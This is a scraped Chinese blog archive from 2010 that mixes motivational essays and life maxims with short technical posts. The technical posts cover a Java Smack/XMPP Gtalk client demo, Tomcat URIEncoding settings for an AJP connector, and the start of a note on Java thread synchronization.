  有一次,一位老师问他的学生:「你们说说人的生命究竟有多长久?」「人的生命平均起来有几十年的长度。」一个学生回答。老师摇了摇头。另一个弟子见状,肃穆地说道:「人的生命如花草,春天萌芽发枝,灿烂似锦;冬天枯萎凋零,化为尘土。」老师露出了赞许的微笑:「你能够体察到生命的短暂,但仍限于表面。」又听得一个无限悲怆的声音说道:「我觉得生命就像浮游虫一样,早上才出生,晚上就可能死去,充其量不过是一昼夜的时间!」「喔!你观察到生命朝生暮死的现象,有了更为深入的认识。」这时,一个学生站起身来说道:「老师,依学生看来,人命只在一呼一吸之间。」话语一出,四座愕然。老师微笑着点了点头。
  人生的下一秒难以预料,一息不来便是隔世了。唯有珍惜当下,才不会留下遗憾啊。让我们把每一个平凡的日子都当成人生的最后一天来珍视吧。

posted @ 2010-04-20 16:25 jadmin 阅读(97) | 评论 (0)编辑 收藏

/*
* @(#)GtalkTest.java 2010-4-17
*
* Copyright (c) 2010 by gerald. All Rights Reserved.
*/

package org.jsoft.opensource.demos.smack;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.jivesoftware.smack.Chat;
import org.jivesoftware.smack.ChatManager;
import org.jivesoftware.smack.ConnectionConfiguration;
import org.jivesoftware.smack.MessageListener;
import org.jivesoftware.smack.XMPPConnection;
import org.jivesoftware.smack.packet.Message;

/**
* 利用Smack,通过XMPP协议与Gtalk通信.
*
* @author <a href="
mailto:gerald.chen@qq.com">GeraldChen</a>
* @version $Id: GtalkTest.java 2010-4-17 上午12:30:23$
*/
public class GtalkTest {
/** Logger for this class */
protected static final Log LOG = LogFactory.getLog(GtalkTest.class);

public static void main(String[] args) {
   test();
}

/**
* 与Gtalk进行通讯
*
*/
public static void test() {
   ConnectionConfiguration connectionConfig = new ConnectionConfiguration(
     "talk.google.com", 5222, "gmail.com");
   connectionConfig.setSASLAuthenticationEnabled(false);
   XMPPConnection connection = new XMPPConnection(connectionConfig);
   try {
    connection.connect();
    connection.login("logs.chen", "***********");
    ChatManager chatmanager = connection.getChatManager();

    Chat newChat = chatmanager.createChat("edotxp@gmail.com",
      new MessageListener() {
       public void processMessage(Chat chat, Message message) {
        if(LOG.isInfoEnabled()) {
         LOG.info("Received message: \r\n" + message.toXML());
         LOG.info("收到相应消息");
        }
       }
      });
    newChat.sendMessage("陈先生,您好!");
    Thread.sleep(10000);
   } catch (Exception e) {
    LOG.error(e);
   }
}

}

posted @ 2010-04-17 02:11 jadmin 阅读(339) | 评论 (0)编辑 收藏

  一位青年满怀烦恼去找一位智者,他大学毕业后,曾豪情万丈地为自己树立了许多目标,可是几年下来,依然一事无成。

  他找到智者时,智者正在河边小屋里读书。智者微笑着听完青年的倾诉,对他说:“来,你先帮我烧壶开水!”

  青年看见墙角放着一把极大的水壶,旁边是一个小火灶,可是没发现柴火,于是便出去找。

  他在外面拾了一些枯枝回来,装满一壶水,放在灶台上,在灶内放了一些柴便烧了起来,可是由于壶太大,那捆柴烧尽了,水也没开。于是他跑出去继续找柴,回来的时候那壶水已经凉得差不多了。这回他学聪明了,没有急于点火,而是再次出去找了些柴,由于柴准备充足,水不一会就烧开了。

  智者忽然问他:“如果没有足够的柴,你该怎样把水烧开?”

  青年想了一会,摇了摇头。

  智者说:“如果那样,就把水壶里的水倒掉一些!”

  青年若有所思地点了点头。

  智者接着说:“你一开始踌躇满志,树立了太多的目标,就像这个大水壶装了太多水一样,而你又没有足够的柴,所以不能把水烧开,要想把水烧开,你或者倒出一些水,或者先去准备柴!”

  青年恍然大悟。回去后,他把计划中所列的目标去掉了许多,只留下最近的几个,同时利用业余时间学习各种专业知识。几年后,他的目标基本上都实现了。

  只有删繁就简,从最近的目标开始,才会一步步走向成功。万事挂怀,只会半途而废。另外,我们只有不断地捡拾“柴”,才能使人生不断加温,最终让生命沸腾起来。

posted @ 2010-04-15 22:05 jadmin 阅读(88) | 评论 (0)编辑 收藏

  01.慢慢的才知道,太在乎别人了往往会伤害自己­

  02.慢慢的才知道,对自己好的人会随着时间的流逝越来越少,­

  03.慢慢的才知道,一个人要自己对自己好,因为真正关心你的人很少,有了事他们也不一定会在你身边。所以要自己照顾自己­

  04.慢慢的才知道,真心对一个人好不一定有回报,而你忽略的人往往有可能是最重视你的,­

  05.慢慢的才知道,很多东西是可遇而不可求的,很多东西只能拥有一次,­

  06.慢慢的才知道,恋爱不一定是真心的,有可能是利益关系,有可能是攀比心理,­

  07.慢慢的才知道,不要和别人争论什么,因为那是没有结果的,无论谁对谁错,­

  08.慢慢的才知道,很多时候自己遇到不开心事,千万不要渴望别人同情,大多数人会采取冷漠回敬的。那样会更让人家看不起,­

  09.慢慢的才知道,有很多东西是不属于你的,你使劲强求会遭天遣的,­

  10.慢慢的才知道,未必做每件事情都有意义,可是做的每件事情都觉得是一件回忆!­

  11.慢慢的才知道,人的性格可以差异到如此之大,­

  12.慢慢的才知道,许多曾经的人会变的让你认不出,但请留住回忆。­

  13.慢慢的才知道,从现在开始应该把握每一个你能把握的人,放弃你留不住的人,不要因为想留住个别人而失去一群人。­

  14.慢慢的才知道,自己一定在乎自己的自尊,但你的自尊在别人眼里根本不算什么,­

  15.慢慢的才知道,不要心情不好的时候对周围人发脾气,渴望他们谅解你,人家不是你的父母,现在你可以明白父母对自己多么重要,­

  16.慢慢的才知道,即便有人对情感看的无所谓,你一定要坚信,人之间的感情,有可能会令所有东西都无法超越的,但记住,只是有可能,­

  17.慢慢的才知道,原来现实如此的无奈。­

  18.慢慢的才知道,会遇到许多自己看不惯的人或事,但那与你无关,别人爱咋整随他便,别生不该生的气,不值,­

  20.慢慢的才知道,两个天天在一起的人不一定是朋友,有可能什么都不是,­

  21.慢慢的才知道,会遇到很多诱惑,无论别人怎么样,你是你,你有你的原则和底限,­

  22.慢慢的才知道,会有人很讨厌你或者和你过不去,但是他爱怎么样就怎么样,我们要大度,不和小人计较,但前提是你正确,­

  23.慢慢的才知道,很多人无法理解男女之间的朋友关系,在一起就一定是恋人,不是恋人就一定不能在一起,­

  24.慢慢的才知道,学习要刻苦,因为凭聪明就能应付考试科目的人是凤毛翎角,­

  25.慢慢的才知道,原来时间一空闲下来是那么无聊,丝毫没有中学的充实的感觉,­

  26.慢慢的才知道,手机是别人有事找你的时候用的,并不是为了交流感情的­

  27.慢慢的才知道,可以不把所有人当朋友,但千万不能把一个人当敌人,至少可以当同学,­

  28.慢慢的才知道,玩你能玩的起的,玩不起的千万别玩,不然会输了什么都没有的,­

  29.慢慢的才知道,快乐常常来自回忆,而痛苦常常来自于回忆与现实的差距,­

  30.慢慢的才知道,那些嘻哈打闹只是消遣而已,而过往的抽烟打架更是无知.­

  31.慢慢的才知道,有很多人的想法与做法你无法理解,或是根本不知道他在想什么,千万别在那揣摩或者瞎猜,那样会让自己累,既然人家要保持神秘感那就让人家保持去啊,自己又不是占卜师,­

  32.慢慢的才知道,不要把自己想的有多高,没有绝对性的胜利,也没有绝对性的失败­

  33,慢慢的才知道,生活是有很多不公平的,你一定要正视,相信实力和群众的眼睛,­

  34.慢慢的才知道,兄弟情义有时候未必是想像的那么美好,只有自己真心付出,才有可能得到别人的真心对待.­

  35.慢慢的才知道,有的人不断的算计,到头还来是会输的很惨,所以应当保持一个平和的心!­

  36.慢慢的才知道,有的事情不是自己所愿意的,但是有的事情必须得去完成,那也是对自己的一段特训.­

  37,慢慢的才知道,原来两个人在一起或真或假,相处的时间还是占据着重要成份.­

  38.慢慢的才知道,现实根想法的差距,必须要随机应变,跟上生活的步伐!­

  39.慢慢的才知道,自己也在慢慢长大,不在是小孩子了,适应着每一件事的成长.­

  40.慢慢的才知道,给人留一线日后好相见的真正意义,没有永远的敌人只有永远的朋友,凡事不要做的太绝,事情的结局都是用嘴巴说出来的.­

  41.慢慢的才知道,不管玩的多好的朋友都有可能失去,但是我们还是要乐观面对,若是真的把他(她)当作自己的朋友就应该为他(她)祝福.遥望!只是做自己所做的.­

  42.慢慢的才知道,自己在慢慢接受社会了,所以也要慢慢学会适应­


posted @ 2010-04-14 19:41 jadmin 阅读(80) | 评论 (0)编辑 收藏

        把自己当自己。此语最为重要。人生最大的敌人,不是别人,而是自己,战胜了自己,便攻无不克、战无不胜。把自己当自己,就是要求自己不要和自己过不去,别为一个小小的职位、一份微薄的报酬,甚至是他人一些闲言碎语,一个不屑的眼神而怒发冲冠,要以平静淡泊的心态去面对种种荣辱得失和情仇恩怨。

        把自己当别人。人生在世注定要历经诸多喜怒哀乐之事,只有把自己当成了别人,才不会在喜事面前若狂,在困苦面前痛悲。人生在世还会涉及功名利禄之事,也只有把自己当成了别人,才不会为名所累、为利所动、为官所困、为情所恼。

        把别人当自己。人的一生不可能总是一帆风顺、花好月圆的,总会遇到这样或那样的艰难困苦。面对别人的不幸,只有调换位置,把别人当成自己,才会真情实意地同情别人的不幸,理解别人的苦衷,并且在别人需要帮助的时候主动地伸出援助之手。

        信任,是人生一笔弥足珍贵的储蓄。这储蓄,是流言袭来时投向你的善意的目光,是前进道路上给你的坚定的陪伴,是遇到困难时的全力以赴的支持,是遭受诬蔑时驱赶痛苦一盏心灯。

        友情,是人生一笔受益匪浅的储蓄。这储蓄,是患难中的倾囊相助,是错误道路上的逆耳忠言,是跌倒时的一把真诚搀扶,是痛苦时抹去泪水的一缕春风。

        当狂风在你耳边呼啸时,你只当它微风拂面;当暴雨在你眼前倾泻时,你只当它屋檐滴水;当闪电在你头顶肆虐时,你只当它萤火流逝。人,决不能在逆境面前屈服。

        人生犹如一首歌,音调高低起伏,旋律抑扬顿挫;人生仿佛一本书,写满了酸甜苦辣,记录着喜怒哀乐;人生就像一局棋,布满了危险,也撒遍了机遇;人生恰似一条路,有山重水复的坎坷,也有柳暗花明的坦途;人生如同一条河,有时九曲回肠,有时一泻千里。

        亲情友情是我的财富。我是一朵白云,亲情是包容我的蓝天;我是一棵绿树,亲情便是滋养我的土地;我是一只飞鸟,亲情便是庇护我的森林;我是一泓清泉,亲情便是拥抱我的山峦。

        青春,是人生的花朵;青春,是人生的春天;青春,是不耐久藏的珍宝;青春,是创造一切的希望。青春是珍贵的,它是人生最美的花朵,是不耐久藏的珍宝,是转瞬即逝的春光;青春是饱满的,她代表着时代的精神,展示着时代的性格,孕育着时代的希望。

        经历就是人生的硎石,生命的锋芒在磨砺中闪光;经历就是人生的矿石,生命的活力在提炼中释放。经历就是体验,经历就是积淀。没有体验就没有生存的质量;没有积淀,就没有生存的智慧。人生的真谛在经历中探寻,人生的价值在经历中实现。

        真诚是一盏夜幕下的路灯,让行人因它照亮夜色而增添一份夜行的信心。生活中每一回真诚的履践,都会令我们不由自主地萌发对自己心灵的感动。

        一棵小草,也许永远不能成为参天大树,但它可能做最绿最坚强的小草;一滴水,也许永远不能像长江大河一样奔腾,但它可以成为所有水中的最纯的那一滴

        每一个善良的人都是勤劳的农夫,在或肥沃或贫瘠的土地上播种着爱心,他们付出的心血虽不尽相同,但目的都只有一个:收获爱心。

        如果我们能够勇敢地去爱,坚强地去宽容,大度地去为别人的快乐而高兴,明智地理解身边充满爱意,那么我们就能够取得别的生物所不能取得的成就。

        当无事时,应该像有事那样谨慎,当有事时,应像无事时那样镇静。因为漫长的旅途中,实在难以完全避免崎岖和坎坷。

        人生是愈取愈少,愈舍愈多,该当如何?少年时取其丰,壮年时取其实,老年时取其精。少年时舍其不能有,壮年时舍其不当有,老年时舍其不必有。

        人生犹如一首歌,音调高低起伏,旋律抑扬顿挫;人生仿佛一本书,写满了酸甜苦辣,记录着喜怒哀乐;人生就像一局棋,布满了危险,也撒遍了机遇;人生恰似一条路,有山重水复的坎坷,也有柳暗花明的坦途;人生如同一条河,有时九曲回肠,有时一泻千里。

        用不着把年轻的心灵装点得沉重。表面上的沧桑,外在的严肃,并不能让你上升为哲人;离开所有的朋友,你有的只能是孤单的背影。既然现在的我还不能变得深刻,那么,我就让自己变得轻松。哭丧着脸的人,怎能听清花开的响声;伪装自己的人,又怎能听懂蛙鸣一片里的激动

        人生就像一条河,经历丰富,才能远源流长。伟大的一生,像黄河一样跌宕起伏,像长江一样神奇壮美。人生就像一座山,经历奇特才能蔚为大观。伟大的一生,像黄山一样奇峰迭起,像泰山一样大气磅礴。

        失败,是把有价值的东西毁灭给人看;成功,是把有价值的东西包装给人看。成功的秘诀是不怕失败和不忘失败。成功者都是从失败的炼狱中走出来的。成功与失败循环往复,构成精彩的人生。成功与失败的裁决,不是在起点,而是在终点。

        我们的生命之所以贫瘠,原因往往不是放弃了工作,便是因工作放弃了沉思:要不断地工作,也要不断地沉思。生命原是一个不知来自何处去至何方的奇迹,存在也是一个时空的偶然,我们需要不停的奋斗,来印证我们生命的真正存在。这样我们便须活跃我们的思维,点燃灵台的明灯,照亮我们该走的路,以便我们继续跋涉。生命也是需要不断跋涉的,不管昨日你有多少功绩,不管昨日你园圃里有多少花朵,那是属于昨日;若你一心沉湎于昨日的喜悦,就难享今日更清醇的欢欣。今日,一个新的开始,更需要我们前进,更需要我们去孕育。人生是一条永远走不完的旅程,需要生命的火把,直至成灰而泪.

        经历就是人生的硎石,生命的锋芒在磨砺中闪光;经历就是人生的矿石,生命的活力在提炼中释放。经历就是体验,经历就是积淀。没有体验就没有生存的质量;没有积淀,就没有生存的智慧。人生的真谛在经历中探寻,人生的价值在经历中实现。

posted @ 2010-04-13 20:20 jadmin 阅读(80) | 评论 (0)编辑 收藏

  感谢伤害你的人,因为他磨炼了你的心志!
  感谢绊倒你的人,因为他强化了你的双腿!
  感谢欺骗你的人,因为他增进了你的智慧!
  感谢藐视你的人,因为他觉醒了你的自尊!
  感谢遗弃你的人,因为他教会了你该独立!

  在人生的旅途中,最糟糕的境遇往往不是贫困,不是厄运,而是精神和心境处于一种无知无觉的疲惫状态:感动过你的一切不能再感动你,吸引过你的一切不能再吸引你,甚至激怒过你的一切不能再激怒你。这时,人需要寻找另一片风景。

  【1】,“要想改变我们的人生,第一步就是要改变我们的心态。只要心态是正确的,我们的世界就会的光明的。”

  其实人与人之间本身并无太大的区别,真正的区别在于心态,“要么你去驾驭生命,要么生命驾驭你。你的心态决定谁是坐骑,谁是骑师。”在面对心理低谷之时,有的人向现实妥协,放弃了自己的理想和追求;有的人没有低头认输,他们不停审视自己的人生,分析自己的错误,勇于面对,从而走出困境,继续追求自己的梦想。

  我们不能控制自己的遭遇,但我们可以控制自己的心态;我们改变不了别人,我们却可以改变自己;我们改变不了已经发生的事情,但是我们可以调节自己的心态。

  有心无难事,有诚路定通,正确的心态能让你的人生更坦然舒心。当然,心态是依靠你自己调整的,只要你愿意,你就可以给自己的一个正确的心态。

  心态是人真正的主人。改变心态,就是改变人生。有什么样的心态,就会有什么样的人生。要想改变我们的人生,其第一步就是要改变我们的心态。只要心态是正确的,我们的世界也会是光明的。

  【2】,“人活着就是为了解决困难。这才是生命的意义,也是生命的内容。逃避不是办法,知难而上往往是解决问题的最好手段。”

  人生之路不会是一帆风顺的,我们会遇上顺境,也会遇上逆境。其实,在所有成功路上折磨你的,背后都隐藏着激励你奋发向上的动机。换句话说,想要成功的人,都必须懂得知道如何将别人对自己的折磨,转化成一种让自己克服挫折的磨练,这样的磨练让未成功的人成长、茁壮。所以,当你遭遇厄运的时候,坚强与懦弱是成败的分水岭。一个生命能否战胜厄运,创造奇迹,取决于你是否赋于它一种信念的力量。一个在信念力量驱动下的生命即可创造人间的奇迹。

  在困难面前,如果你能在众人都放弃时再多坚持一秒,那么,最后的胜利一定是属于你的。坚定的信念是获取成功的动力。很多的时候,成功都是在最后一刻才蹒跚到来。因此,做任何事情,我们都不应该半途而废,哪怕前行的道路再苦再难,也要坚持下去,这样才不会在自己的人生里留下太多的遗憾。

  精彩的人生是在挫折中造就的,挫折是一个人的炼金石,许多挫折往往是好的开始。你只要按照自己的禀赋发展自我,不断地超越心灵的绊马索,你就不会发现自己生命中的太阳熠熠闪耀着光彩!

  【3】,“要想赢,就一定不能怕输。不怕输,结果未必能赢。但是怕输,结果则一定是输。”

  人生的道路上,我们每个人都不可避免地面对各种风险与挑战,结果有成功,也有失败。不过,人生的胜利不在于一时的得失,而是在于谁是最后的胜利者。没有走到生命的尽头,我们谁也无法说我们到底是成功了还是失败了。所以我们在生命的任何阶段都不能泄气,都要充满希望!

  不要因为痛苦而放弃你的选择。所谓的成功人士,无非是比别人多付出,多经历了磨难的人罢了。不因痛苦而放弃你的选择,你才能成功。

  凤凰涅羽化成蝶,正是因为经历了强烈的痛苦,然后才有着震撼人心的美丽。一个人的成功并不是偶然的,他是踩着无数的失败和痛苦走过来的,别人看到的只是他今天的光辉和荣耀。只有他自己知道,在他通往成功的路人,有着被荆棘扎破的斑斑血迹。

  【4】“人生目标确定容易实现难,但如果不去行动,那么连实现的可能也不会有。”

  千里之行,始于足下;不积跬步,无以至千里;不积小流,无以成江海。凡事要想做大,都得从小处做起,从眼前最基本的事物做起。如果一个人心里有远大的理想,却不愿意一步一步去努力,那他永远也不会有美梦成真的那一天。

  有个故事告诉我们行动的重要性,有一个穷和尚和一个富和尚都住在一个偏远的地方,有一天,穷和尚对富和尚说:“我想到南海去,您看怎么样?”富和尚说你凭什么去呢?穷和尚说:“一个水瓶,一个饭钵就足够了。”富和尚说:“我多年来就想租船沿长江南下,现在还没做到呢。你凭什么走?”第二年,穷和尚从南海归来,把去南海的事告诉了富和尚,富和尚深感惭愧。人生目标确定容易实现难,但如果不去行动。那么连实现的可能也不会有。没有行动的人只是在做白日梦,所以心动不如行动,勇于迈出行动的第一步,你成功的机会就会提高,而光想不做,那你将永远没有实现计划的可能。

  【5】,“人生就有许多这样的奇迹,看似比登天还难的事,有时轻而易举就可以做到,其中的差别就在于非凡的信念。”

  多年前,有一位穷苦的牧羊人领着两个年幼的儿子以替别人放羊来维持生活。一天他们赶着羊来到一个山坡,这时,一群大雁鸣叫着从他们头顶飞过,并很快消失在远处。牧羊人的小儿子问他的父亲:“爸爸,爸爸,大雁要往哪里飞?”“他们要去一个温暖的地方,在那里安家,度过寒冷的冬天。”牧羊人说。他的大儿子眨着眼睛羡慕得说:“要是我们也能像大雁那样飞起来就好了,那我就要飞得比大雁还要高,去天堂,看妈妈是不是在那里。”小儿子也对父亲说:“做个会飞的大雁多好啊,那样就不用放羊了,可以飞到自己想去的地方。”

  牧羊人沉默了一下,然后对两个儿子说:“只要你们想,你们也能飞起来。”两个儿子试了试,并没有飞起来。他们用怀疑的眼神瞅着父亲。牧羊人说,让我飞给你们看,于是他飞了两下,也没飞起来。牧羊人肯定地说:“我是因为年纪大了才飞不起来,你们还小,只要不断的努力,就一定能飞起来,去想去的地方。”儿子们牢牢地记住了父亲的话,并一直不断的努力,等到他们长大以后果然飞起来了,他们发明了飞机,他们就是美国的莱特兄弟。

  这使我坚信:一个人的内心中如果蕴涵着一个信念,并坚持不懈地为之努力,那么,他一定会是一位成功的人。

  【6】,“即使遭遇了人间最大的不幸,能够解决一切困难的前提是——活着。只有活着,才有希望。无论多么痛苦、多么悲伤,只要能够努力地活下去,一切都会好起来。”

  如果说,人生是一本书,那遗憾就是一串串省略号,空白之处,蕴含着深刻的哲理!生命赋予我们每一个人都是单程车票,我们活着就有自己的高尚和卑劣,就要享受生命的欢乐和烦恼。

  生命是上天赐予我们的特别礼物,即使陷入了绝望的泥沼中,也应该握住生命中哪怕一点点儿值得赞美的亮色,从而鼓励自己要挺住,别倒下。只要有一线希望,我们就要坚强的活下去,因为活着就会有希望。

  活着就是希望,活着就有希望。其实,世上没有绝望的处境,只有对处境绝望的人。

  告诉自己还有希望,因为自己还活着。只要活着,就有实现希望与梦想的机会……

  【7】,“真正成功的人生,不在于成就的大小,而在于你是否努力地去实现自我,喊出自己的声音,走出属于自己的道路。”

  平庸的人总是有一种幸灾乐祸的心理,因为成功者总是给他们强有力的刺激。他们总是希望成功者能够功败垂成,沦为和他们一样的平庸。人生如戏,即使今天你是炙手可热的主角,明天你可能就是一个跑龙套的。可谓是:“平步青云会有时,误杀落地未尝知。”聪明人总是用平常心应对人生中的起起伏伏,这就是一种大智慧,台上台下都能自在坚韧、淡然洒脱。

  而且聪明人都会对自己的生活设定一个标准,它不是人云亦云的标准,而是自己真正想要的标准。只要我们自己认为有意义,就一定要坚持下去。在不伤害他人和社会的情况下,当你想当的人,做你想做的事,说你想说的话……这,就是我们每个人成功的实质。

  【8】,“低头是一种能力,它不是自卑,也不是怯弱,它是清醒中的嬗变。有时,稍微低一下头,或者我们的人生路会更精彩。”

  人,心至善,情至诚,志必坚。

  人,得意不可忘形,失意不可失志。

  人,没有自尊心就不可能有耻辱感,没有耻辱感就不可能有自尊心。

  人,每说一句话,每做一件事,都有要考虑会否影响别人,会否损害别人,这是一个人最起码的素质。

  有人问过苏格拉底:“你是天下最有学问的人,那么你说天与地之间的高度是多少?”苏格拉底毫不迟疑地说:“三尺!”那人不以为然:“我们每个人都五尺高,天与地之间只有三尺,那不是戳破苍穹?”苏格拉底笑着说:“所以,凡是高度超过三尺的人,要长立于天地之间,就要懂得低头。”其实,我们的生活又何尝不是如此。自认怀才不遇的人,往往看不到别人的优秀;愤世嫉俗的人,往往看不到世界的美好;只有敢于低头并不断否定自己的人,才能够不断吸取教训,才会为别人的成功而欣喜,为自己的善解人意而自得,才会在挫折面前心安理得。

  【9】,“很多时候,不快乐并不是因为快乐的条件没有齐备,而是因为活得还不够简单,”

  幸福是什么?

  幸福不一定是腰缠万贯、高官显禄、呼风唤雨。平凡人自有平凡人的幸福,只要你懂得怎样生活,只要你不放弃对美好生活的追求,你就不会被幸福抛弃。

  快乐是什么?

  其实快乐是一件非常简单的事,快乐就在每个人的身边,可并不是每一个人都清楚这一点。“只有简单着,才能快乐着。”不奢求华屋美厦,不垂涎山珍海味,不追名逐利,不扮贵人相,过一种简朴素净的生活,才能感受到生活的快乐,一种外在的财富也许不如人、但内心充实富有的生活,这才是自然的生活。有劳有逸,有工作的乐趣,也有与家人共享天伦的温馨、自由活动的闲暇,还用去忙里偷闲吗?“世味淡,不偷闲而闲自来。”

  “简朴生活”并不是要你放弃所有的一切。实行它,必须从你的实际出发。简单生活不是自甘贫贱。你可以开一部昂贵的车子,但仍然可以使生活简化。一个基本的概念就在于你想要改进你的生活品质而已,关键是诚实地面对自己,想想生命中对自己真正重要的是什么。

  【10】,“懂得感恩,是收获幸福的源泉。懂得感恩,你会发现原来自己周围的一切都是那样的美好。”

  落叶在空中盘旋,谱写着一曲感恩的乐章,那是树对大地的感恩;白云在蔚蓝的天空飘荡,描绘着一幅幅感恩的画面,那是白云对蓝天的感恩。

  人生更是处处要感恩。

  一个人,如果常怀一颗感恩的心,那么他就会感觉到什么叫幸福,并且随时能品尝到幸福的滋味,就会更加珍惜生活中的一切,就会觉得人生是十分美好的。

  懂得感恩是获得幸福的源泉,在生活中,如果我们每个人都不忘感恩,人与人之间的关系会变得更加和谐、更加亲切。我们自身也会因为这种感恩心理的存在而变得更加健康、快乐!

  世界上只有一件事比遭人折磨还要糟糕,那就是从来不曾被人折磨过。因为,当一个人受尽折磨时,他的潜能才会被激发出来,而且,他才能越挫越勇,逼得自己去突破现状……

posted @ 2010-04-11 19:19 jadmin 阅读(74) | 评论 (0)编辑 收藏

1.活着一天,就是有福气,就该珍惜。当我哭泣我没有鞋子穿的时候,我发现有人却没有脚。

2.宁可自己去原谅别人,莫让别人来原谅你。

3.世界原本就不是属于你,因此你用不着抛弃,要抛弃的是一切的执著。万物皆为我所用,但非我所属。

4.别人可以违背因果,别人可以害我们,打我们,毁谤我们。可是我们不能因此而憎恨别人,为什么?我们一定要保有一颗完整的本性和一颗清净的心。

5.你有你的生命观,我有我的生命观,我不干涉你。只要我能,我就感化你。如果不能,那我就认命。

6.如果你准备结婚的话,告诉你一句非常重要的哲学名言「你一定要忍耐包容对方的缺点,世界上没有绝对幸福圆满的婚姻,幸福只是来自于无限的容忍与互相尊重。

7.我的财富并不是因为我拥有很多,而是我要求的很少。

8.不是某人使我烦恼,而是我拿某人的言行来烦恼自己。

9.活在别人的掌声中,是禁不起考验的人。

10.如果你能每天呐喊二十一遍「我用不着为这一点小事而烦恼」,你会发现,你心里有一种不可思议的力量,试试看,很管用的。

11.若能一切随他去,便是世间自在人。

12.感谢上苍我所拥有的,感谢上苍我所没有的。

13.来是偶然的,走是必然的。所以你必须,随缘不变,不变随缘。

14.别人永远对,我永远错,这样子比较没烦恼。

15.愚痴的人,一直想要别人了解他。有智慧的人,却努力的了解自己。

16.对于不可改变的事实,除了认命以外,没有更好的办法了。

17.其实爱美的人,只是与自己谈恋爱罢了。

18.说一句谎话,要编造十句谎话来弥补,何苦呢?

19.当你用烦恼心来面对事物时,你会觉得一切都是业障,世界也会变得丑陋可恨。

20.根本不必回头去看咒骂你的人是谁?如果有一条疯狗咬你一口,难道你也要趴下去反咬他一口吗?

21.狂妄的人有救,自卑的人没有救。

22.你什么时候放下,什么时候就没有烦恼。

23.人之所以痛苦,在于追求错误的东西。

24.与其说是别人让你痛苦,不如说是自己的修养不够。

25.命运负责洗牌,但是玩牌的是我们自己!

26.过错是暂时的遗憾,而错过则是永远的遗憾!

posted @ 2010-04-11 18:52 jadmin 阅读(85) | 评论 (0)编辑 收藏

Tomcat中,为了保证get数据采用UTF8编码,在server.xml中进行了如下设置:

<Connector port="8080" maxThreads="150" minSpareThreads="25"
maxSpareThreads="75" enableLookups="false" redirectPort="8443"
acceptCount="100" debug="99" connectionTimeout="20000"
disableUploadTimeout="true" URIEncoding="UTF-8"/>

这里指定了get时候的数据编码。但是,当使用IIS作为webserver转发servlet/jsp请求给Tomcat时候,这个设置却失效了。其实原因很简单:IIS是通过AJP协议,把请求转发到Tomcat监听的8009端口上的,所以这里针对8080的设置自然就无效了。正确的方法是进行下面的设置:

<Connector port="8009" enableLookups="false" redirectPort="8443"
debug="0" protocol="AJP/1.3" URIEncoding="UTF-8"/>

posted @ 2010-04-10 15:45 jadmin 阅读(102) | 评论 (0)编辑 收藏

  一、成熟的人不问过去;聪明的人不问现在;豁达的人不问未来。

  二、在人之上,要把人当人;在人之下,要把自己当人。

  三、知道看人背后的是君子;知道背后看人的是小人。

  四、你犯错误时,等别人都来了再骂你的是敌人,等别人都走了骂你的是朋友

  五、人只要能掌握自己,便什么也不会失去

  六、变老并不等于成熟,真正的成熟在于看透。

  七、简单的生活之所以很不容易,是因为要活的简单,一定不能想的太多。

  八、人们常犯最大的错误,是对陌生人太客气,而对亲密的人太苛刻,把这个坏习惯改过来,天下太平。

  九、我们在梦里走了许多路,醒来后发现自己还在床上。

  十、你的丑和你的脸没有关系。

  十一、航海者虽比观望者要冒更大的风险,但却有希望到达彼岸。

  十二、穷人的苦恼在于没有选择,富人的苦恼在于有太多选择。

  十三、不要总觉得被轻视,先问问自己有没有分量。

  十四、一个人的价值,不体现在与别人相同的东西上,而体现在与别人不同的东西上。

  十五、静坐常思己过,闲谈莫论人非。

  十六、发展是硬道理,但硬发展是没道理。

  十七、人们是看你做什么,不是听你说什么。

  十八、要求别人是很痛苦的,要求自己是很快乐的。

  十九、不敢生气的是懦夫,不去生气的才是智者。

  二十、对于人来说,问心无愧是最舒服的枕头。

  二十一、嫉妒他人,表明他人的成功,被人嫉妒,表明自己成功。

  二十二、有些事情,不谈是个结,谈开了是个疤。

  二十三、一口吃不成胖子,但胖子却是一口一口吃来的。

  二十四、喜欢花的人是会去摘花的,然而爱花的人则会去浇水。


  1、不要自视清高

  天外有天,人上有人,淡泊明志,宁静致远。当别人把你当领导时,自己不要把自己当领导,当别人不把你当领导时,自己一定要把自己当领导,权力是一时的,金钱是身外的,身体是自己的,做人是长久的。

  2、不要盲目承诺

  言而有信。种下行动就会收获习惯;种下习惯便会收获性格;种下性格便会收获命运——习惯造就一个人。

  3、不要轻易求人

  把自己当别人——减少痛苦、平淡狂喜,把别人当自己——同情不幸,理解需要,把别人当别人——尊重独立性,不侵犯他人,把自己当自己——珍惜自己,快乐生活。能够认识别人是一种智慧,能够被别人认识是一种幸福,能够自己认识自己是圣者贤人。

  4、不要强加于人

  人本是人,不必刻意去做人;世本是世,无须精心去处世。人生三种境界:看山是山,看水是水——人之初;看山不是山,看水不是水——人到中年;看山还是山,看水还是水——回归自然。

  5、不要取笑别人

  损害他人人格,快乐一时,伤害一生。生命的整体是相互依存的,世界上每一样东西都依赖其它另一样东西,学会感恩。感恩大自然的福佑,感恩父母的养育,感恩社会的安定,感恩食之香甜,感恩衣之温暖,感恩花草鱼虫,感恩苦难逆境。

  6、不要乱发脾气

  一伤身体,二伤感情,人与人在出生和去世中都是平等的——哭声中来,哭声中去。千万注意,自己恋恋不舍,而别人早就去意已决,人生应看三座山:井冈山普陀山八宝山,退一步海阔天空,忍一事风平浪静;牢骚太多防肠断,风物长宜放眼量。

  7、不要信口开河

  言多必失,沉默是金,倾听一种智慧,一种修养、一种尊重、一种心灵的沟通,平静是一种心态,一种成熟。

  8、不要小看仪表

  撒播美丽,收获幸福,仪表是一种心情,仪表是一种力量,在自己审视美的同时,让别人欣赏美,心灵瑜伽——调适、修炼、超越。

  9、不要封闭自己

  帮助人是一种崇高,理解人是一种豁达,原谅人是一种美德,服务人是一种快乐,月圆是诗,月缺是花,仰首是春,俯首是秋。

  10、不要欺负老实人

  同情弱者是一种品德、一种境界、一种和谐,心理健康,才能身体健康,人有一分器量,便多一分气质,人有一分气质,便多一分人缘,人有一分人缘,便多一分事业,积善成德、修身养性。

posted @ 2010-04-08 21:14 jadmin 阅读(81) | 评论 (0)编辑 收藏

      多线程的同步依靠的是对象锁机制,synchronized关键字的背后就是利用了封锁来实现对共享资源的互斥访问。

      下面以一个简单的实例来进行对比分析。实例要完成的工作非常简单,就是创建10个线程,每个线程都打印从099100个数字,我们希望线程之间不会出现交叉乱序打印,而是顺序地打印。

